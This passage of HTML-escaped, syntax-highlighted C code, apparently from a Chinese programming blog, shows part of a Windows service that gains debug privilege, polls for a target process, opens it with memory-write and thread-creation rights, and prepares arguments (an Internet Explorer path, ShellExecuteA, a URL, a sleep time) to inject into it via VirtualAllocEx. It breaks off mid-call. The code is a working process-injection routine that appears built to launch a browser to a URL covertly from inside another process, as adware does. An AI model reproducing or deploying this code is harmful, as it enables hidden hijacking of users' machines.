#000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;InjectCode(&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceStatus.dwCurrentState&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SERVICE_STOPPED;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;SetServiceStatus(&amp;nbsp;hServiceStatus,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;serviceStatus)&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tmp[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;256&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmp,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ServiceMain:&amp;nbsp;Stop&amp;nbsp;service&amp;nbsp;error:&amp;nbsp;%d\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;GetLastError()&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmp&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Stop&amp;nbsp;service&amp;nbsp;in&amp;nbsp;main.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ServiceMain&amp;nbsp;Done.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;}&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;void&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;InjectCode(&amp;nbsp;)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SetDebugPrivilege()&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Set&amp;nbsp;Debug&amp;nbsp;Privileges&amp;nbsp;error.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwPID&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;while&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dwPID&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;GetProcessIdByName(&amp;nbsp;TARGET_PROCESS&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;dwPID&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tmp[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;256&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmp,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Target&amp;nbsp;process&amp;nbsp;id&amp;nbsp;is&amp;nbsp;%d\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;dwPID&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmp&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;break&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Target&amp;nbsp;process&amp;nbsp;not&amp;nbsp;found,&amp;nbsp;sleep&amp;nbsp;and&amp;nbsp;continue.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sleep(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;30&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1000&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sleep(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;2&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;60&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1000&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;打开进程&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HANDLE&amp;nbsp;hProcess&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;OpenProcess(&amp;nbsp;PROCESS_CREATE_THREAD&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;|&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;PROCESS_VM_OPERATION&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;|&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;PROCESS_VM_WRITE,&amp;nbsp;FALSE,&amp;nbsp;dwPID&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;hProcess&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;OpenProcess&amp;nbsp;error.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;计算LoadLibraryA和GetProcAddress的入口地址，这两个函数由kernel32.dll导出，在各进程中不变&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Arguments&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;arguments;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(&amp;nbsp;(&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;void&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;arguments,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(Arguments)&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HMODULE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hKernel&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;GetModuleHandleA(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;kernel32&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;hKernel&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NULL&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;GetModuleHandle&amp;nbsp;kernel32.dll&amp;nbsp;error.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;arguments.MyLoadLibrary&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;GetProcAddress(&amp;nbsp;hKernel,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;LoadLibraryA&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;arguments.MyGetAddress&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;GetProcAddress(&amp;nbsp;hKernel,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;GetProcAddress&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy(&amp;nbsp;arguments.MyKernelDll,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;kernel32.dll&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy(&amp;nbsp;arguments.MyProgram,&amp;nbsp;IE_PATH&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy(&amp;nbsp;arguments.MyShellDll,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Shell32.dll&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy(&amp;nbsp;arguments.MyShellExecute,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ShellExecuteA&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy(&amp;nbsp;arguments.MyUrl,&amp;nbsp;url_path&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy(&amp;nbsp;arguments.MyZeroMemory,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;RtlZeroMemory&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;arguments.SleepTime&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;sleep_time;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;在远程进程中分配内存存放参数，可写权限&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Arguments&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;remote_agrument&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(Arguments&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)VirtualAllocEx(&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hProcess,&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: 